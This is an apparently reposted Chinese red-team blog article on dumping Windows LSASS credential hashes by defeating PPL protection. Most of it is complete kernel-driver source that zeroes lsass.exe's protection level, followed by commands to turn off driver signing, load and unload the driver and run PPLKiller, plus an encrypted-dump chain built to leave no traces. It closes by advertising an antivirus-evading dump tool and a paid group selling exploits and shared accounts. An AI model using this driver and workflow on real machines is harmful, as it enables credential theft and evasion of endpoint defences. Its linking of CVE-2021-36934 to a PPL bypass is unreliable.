dumphash详解

admin 2026-01-18 02:22:37 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详解WindowsLSASS进程的PPL保护机制及绕过技术。核心方案是编写内核驱动修改EPROCESS结构中的ProtectionLevel字段以解除保护,从而实现内存转储。文章提供了完整的驱动代码、编译加载流程及应用层Dump实现,并结合加密与驱动卸载构建了实战链路。此外还提及了特定漏洞利用工具,为红队测试提供了解决方案。 综合评分: 88 文章分类: 红队,内网渗透,安全工具,渗透测试,漏洞分析


cover_image

dumphash详解

原创

SharkSec SharkSec

SharkSec

2026年1月17日 17:56 湖南

🔔 温馨提示:为了防止走散,不错过每一篇干货内容,请记得将公众号设置为星标!🌟

【声明】本文技术、思路及工具仅用于合法安全测试与防御研究,严禁用于非法入侵、攻击他人系统或盈利等违法违规行为,一切后果由操作者自行承担,作者及团队不承担任何连带责任。

一、ppl介绍

PPL 是 Windows 8.1 + 引入的进程保护机制,LSASS(Local Security Authority Subsystem Service)默认标记为PROTECTED_ANTIMALWARE_LIGHT/PROTECTED_SYSTEM_LIGHT,普通进程即使有SE_DEBUG_NAME权限,也无法:

● 打开 LSASS 进程(OpenProcess返回权限不足);

● 读取 LSASS 内存(ReadProcessMemory失败);

● 调用MiniDumpWriteDump Dump LSASS。

在实战情况下,红队落地后第一步就是“抓哈希”,常规做法直接转储 LSASS;但从 Win8.1 开始系统默认给 LSASS 套上 PPL。结果是:

●  任务管理器、Procdump、Mimikatz 一律“访问拒绝”;

●  即使当前账号已是本地管理员,开了 SeDebugPrivilege 也打不开进程句柄;

●EDR 还会把“枚举 lsass.exe → OpenProcess → MiniDumpWriteDump”这一整条行为链标记为高危,直接拦截告警。

二、ppl绕过思路

在实战情况下,可通过内核驱动 修改 LSASS 的保护级别(核心是修改进程的EPROCESS结构体中ProtectionLevel字段),以下是「驱动 + 应用层」绕过方案示例代码(仅参考):

1

内核驱动代码(PPL 绕过核心,VS2022+WDK 编译)

#include&nbsp;<ntddk.h>#include&nbsp;<wdm.h>// 定义EPROCESS中ProtectionLevel的偏移(不同系统版本偏移不同,以Win10 22H2为例)#define&nbsp;EPROCESS_PROTECTION_LEVEL_OFFSET 0x678&nbsp;// Win10 22H2 x64#define&nbsp;EPROCESS_IMAGE_NAME_OFFSET 0x5a8 &nbsp; &nbsp; &nbsp;&nbsp;// 进程名偏移// 根据进程名查找EPROCESSPEPROCESS&nbsp;FindProcessByName(PCWSTR ProcessName)&nbsp;{&nbsp; &nbsp; PEPROCESS pEprocess =&nbsp;NULL;&nbsp; &nbsp; ULONG uIndex =&nbsp;0;&nbsp; &nbsp; NTSTATUS status = STATUS_SUCCESS;&nbsp; &nbsp;&nbsp;while&nbsp;(TRUE) {&nbsp; &nbsp; &nbsp; &nbsp; status =&nbsp;PsLookupProcessByProcessId((HANDLE)uIndex, &pEprocess);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(!NT_SUCCESS(status))&nbsp;break;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 获取进程名&nbsp; &nbsp; &nbsp; &nbsp; PWSTR pProcessName = (PWSTR)((PUCHAR)pEprocess + EPROCESS_IMAGE_NAME_OFFSET);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(_wcsicmp(pProcessName, ProcessName) ==&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ObDereferenceObject(pEprocess);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;pEprocess;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ObDereferenceObject(pEprocess);&nbsp; &nbsp; &nbsp; &nbsp; uIndex +=&nbsp;4;&nbsp;// 进程PID通常是4的倍数&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(uIndex >&nbsp;0x10000)&nbsp;break;&nbsp;// 防止无限循环&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;return&nbsp;NULL;}// 降低进程保护级别NTSTATUS&nbsp;LowerProcessProtection(PCWSTR ProcessName)&nbsp;{&nbsp; &nbsp; PEPROCESS pEprocess =&nbsp;FindProcessByName(ProcessName);&nbsp; &nbsp;&nbsp;if&nbsp;(pEprocess ==&nbsp;NULL)&nbsp;return&nbsp;STATUS_NOT_FOUND;&nbsp; &nbsp;&nbsp;// 修改ProtectionLevel为0(无保护)&nbsp; &nbsp; PUCHAR pProtectionLevel = (PUCHAR)pEprocess + EPROCESS_PROTECTION_LEVEL_OFFSET;&nbsp; &nbsp; *pProtectionLevel =&nbsp;0x00;&nbsp;// 0=无保护,1=PPL,2=Protected Process&nbsp; &nbsp;&nbsp;DbgPrint("LSASS PPL保护已绕过!\n");&nbsp; &nbsp;&nbsp;return&nbsp;STATUS_SUCCESS;}// 驱动派遣函数NTSTATUS&nbsp;DriverDispatch(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)&nbsp;{&nbsp; &nbsp;&nbsp;UNREFERENCED_PARAMETER(DeviceObject);&nbsp; &nbsp; Irp->IoStatus.Status = STATUS_SUCCESS;&nbsp; &nbsp; Irp->IoStatus.Information =&nbsp;0;&nbsp; &nbsp;&nbsp;IoCompleteRequest(Irp, IO_NO_INCREMENT);&nbsp; &nbsp;&nbsp;return&nbsp;STATUS_SUCCESS;}// 驱动卸载函数VOID&nbsp;DriverUnload(IN PDRIVER_OBJECT DriverObject)&nbsp;{&nbsp; &nbsp; UNICODE_STRING symLinkName =&nbsp;RTL_CONSTANT_STRING(L"\\??\\PPLBypass");&nbsp; &nbsp;&nbsp;IoDeleteSymbolicLink(&symLinkName);&nbsp; &nbsp;&nbsp;IoDeleteDevice(DriverObject->DeviceObject);&nbsp; &nbsp;&nbsp;DbgPrint("PPL绕过驱动已卸载!\n");}// 驱动入口函数NTSTATUS&nbsp;DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)&nbsp;{&nbsp; &nbsp;&nbsp;UNREFERENCED_PARAMETER(RegistryPath);&nbsp; &nbsp; NTSTATUS status = STATUS_SUCCESS;&nbsp; &nbsp; PDEVICE_OBJECT pDeviceObject =&nbsp;NULL;&nbsp; &nbsp; UNICODE_STRING deviceName =&nbsp;RTL_CONSTANT_STRING(L"\\Device\\PPLBypass");&nbsp; &nbsp; UNICODE_STRING symLinkName =&nbsp;RTL_CONSTANT_STRING(L"\\??\\PPLBypass");&nbsp; &nbsp;&nbsp;// 设置派遣函数&nbsp; &nbsp;&nbsp;for&nbsp;(int&nbsp;i =&nbsp;0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) {&nbsp; &nbsp; &nbsp; &nbsp; DriverObject->MajorFunction[i] = DriverDispatch;&nbsp; &nbsp; }&nbsp; &nbsp; DriverObject->DriverUnload = DriverUnload;&nbsp; &nbsp;&nbsp;// 创建设备&nbsp; &nbsp; status =&nbsp;IoCreateDevice(DriverObject,&nbsp;0, &deviceName, FILE_DEVICE_UNKNOWN,&nbsp;0, FALSE, &pDeviceObject);&nbsp; &nbsp;&nbsp;if&nbsp;(!NT_SUCCESS(status))&nbsp;return&nbsp;status;&nbsp; &nbsp;&nbsp;// 创建符号链接&nbsp; &nbsp; status =&nbsp;IoCreateSymbolicLink(&symLinkName, &deviceName);&nbsp; &nbsp;&nbsp;if&nbsp;(!NT_SUCCESS(status)) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;IoDeleteDevice(pDeviceObject);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;status;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;// 绕过LSASS的PPL保护&nbsp; &nbsp;&nbsp;LowerProcessProtection(L"lsass.exe");&nbsp; &nbsp;&nbsp;DbgPrint("PPL绕过驱动加载成功!\n");&nbsp; &nbsp;&nbsp;return&nbsp;STATUS_SUCCESS;}

2

驱动编译与加载(关键!)

      1. 环境准备:安装 VS2022 + Windows Driver Kit (WDK) 10;

  1. 编译驱动:新建「Kernel Mode Driver, Empty (KMDF)」项目,粘贴上述代码,选择x64平台编译,生成PPLBypass.sys

  2. 关闭驱动签名强制(测试环境):bash运行

# 管理员运行CMD,执行后重启电脑(进入测试模式)bcdedit /set&nbsp;testsigning&nbsp;on
  1. 加载驱动(管理员 CMD):bash运行
# 加载驱动sc&nbsp;create PPLBypass&nbsp;type= kernel binPath=&nbsp;"C:\PPLBypass.sys"sc&nbsp;start&nbsp;PPLBypass

3

应用层 Dump 代码

      驱动加载成功后,直接运行之前的代码,即可成功 Dump LSASS(此时OpenProcess和MiniDumpWriteDump均不会因 PPL 报错)。

4

临时漏洞绕过(无需驱动 / 重启,仅限特定系统)

     针对部分 Windows 版本(如 Win10 20H1/20H2、Win11 21H2),可利用公开的 PPL 绕过漏洞(如 CVE-2021-36934)临时提升权限,以下是简化版工具使用方法:

1. 下载开源 PPL 绕过工具(如PPLKiller,仅用于测试);

  1. 管理员运行工具:bash运行
PPLKiller.exe -d lsass.exe

      3. 工具会临时降低 LSASS 的 PPL 保护级别,此时立即运行你的 Dump 代码,即可成功。

5

集成后的完整流程(驱动绕过 + Dump + 加密)

      1.  编译并加载 PPL 绕过驱动(关闭驱动签名,加载PPLBypass.sys);

  1.  运行修改后的 Dump 代码(临时文件方案,复用你的 RC4 加密);

  2.  Dump 完成后,卸载驱动:bash运行

sc&nbsp;stop PPLBypasssc&nbsp;delete PPLBypass
  1. 最终得到加密后的 LSASS Dump 文件,无明文残留。

github相关项目地址:

WSASS:&nbsp;https://github.com/2x7EQ13/WSASSpplkiller:&nbsp;https://github.com/Mattiwatti/PPLKillerppldump:&nbsp;https://github.com/itm4n/PPLdump

三、dumphash小工具

这里也有一个dumphash的免杀小工具,使用方式及效果可直接看下面视频:

已关注

关注

重播 分享 赞

关闭

观看更多

更多

退出全屏

切换到竖屏全屏退出全屏

SharkSec已关注

分享视频

,时长03:35

0/0

00:00/03:35

切换到横屏模式

继续播放

[ ]

进度条,百分之0

播放

00:00

/

03:35

03:35

倍速

全屏

倍速播放中

0.5倍 0.75倍 1.0倍 1.5倍 2.0倍

超清 流畅

 您的浏览器不支持 video 标签

继续观看

dumphash详解

观看更多

原创

,

dumphash详解

SharkSec已关注

分享点赞在看

已同步到看一看写下你的评论

视频详情

本文涉及工具,整理后上传至纷传,感兴趣的师傅可以直接在纷传中获取。

如果大家对我们的文章技术有什么建议或者工具使用上的反馈,都欢迎大家在评论区留言交流。对我们分享的文章感兴趣,想要深入探讨、交流并学习更多相关内容,也欢迎各位师傅加入官方技术交流群!!!(关注公众号,点击菜单栏:联系我们->技术交流群,添加管理员微信,备注【加群】,拉您进群)

加入圈子,一起进阶!

我们圈子已平稳运营一段时间啦,后续也会持续为大家输送高质量的实战资源:有一线团队的一手攻防经验、私有工具源码(包括咱们公众号发的工具,圈子里能直接拿源码 + 持续迭代),还有漏洞挖掘的 POC/EXP、每月不定期 0day 分享,hw实战攻防遇见高频oa/设备源码都能在这拿到。

对了,圈子里还有些「刚需资源」:FOFA 的 Key 长期能用,Cursor Pro 共享账号登了就能用; 企业 SRC 案例、红队实战经验也会拆解着讲。

现在圈子现价 129 / 人,等满 200 人就涨到 150/人 了 —— 入了圈子还能进专属内部群,比咱们公开交流群的资源更新更实时、讨论也更深度。

纷传和知识星球内容是同步的,后期主要运营纷传,所以想进圈子的朋友直接扫描下方二维码就可以啦~

结束

👉 点击关注不迷路,一起潜入深水区,突破边界,共同精进!🚀


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:SharkSec SharkSec SharkSec《dumphash详解》

dumphash详解 网络安全文章

dumphash详解

文章总结: 本文详解WindowsLSASS进程的PPL保护机制及绕过技术。核心方案是编写内核驱动修改EPROCESS结构中的ProtectionLevel字段
评论:0   参与:  0